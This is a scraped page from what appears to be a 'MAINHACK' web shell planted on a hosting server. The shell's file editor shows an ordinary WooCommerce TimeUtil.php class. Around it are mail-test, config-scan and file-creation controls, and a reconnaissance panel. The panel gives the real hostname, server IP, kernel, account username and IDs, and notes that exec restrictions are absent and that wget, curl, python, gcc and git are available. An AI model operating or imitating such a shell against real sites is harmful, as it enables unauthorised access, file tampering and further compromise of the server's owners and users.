[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TimeUtil.php
<?php namespace Automattic\WooCommerce\Utilities; use \DateTime; use \DateTimeZone; use \Exception; /** * Class with date and time utilities. */ class TimeUtil { /** * Instance of a DateTimeZone object representing UTC. * * @var DateTimeZone */ private static DateTimeZone $utc_date_time_zone; /** * Class constructor. */ public function __construct() { self::$utc_date_time_zone = new DateTimeZone( 'UTC' ); } /** * Get the instance of the DateTimeZone object representing UTC. * * @return DateTimeZone DateTimeZone object representing UTC. */ public static function get_utc_date_time_zone(): DateTimeZone { return self::$utc_date_time_zone; } /** * Check if a string represents a valid date in a given format. * * @param string $date The date string to check. * @param string $format The format to verify the date string against. * @return bool True if $date represents a valid date/time according to $format, false otherwise. */ public static function is_valid_date( string $date, string $format = 'Y-m-d H:i:s' ): bool { $d = DateTime::createFromFormat( $format, $date ); return $d && $d->format( $format ) === $date; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.24 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252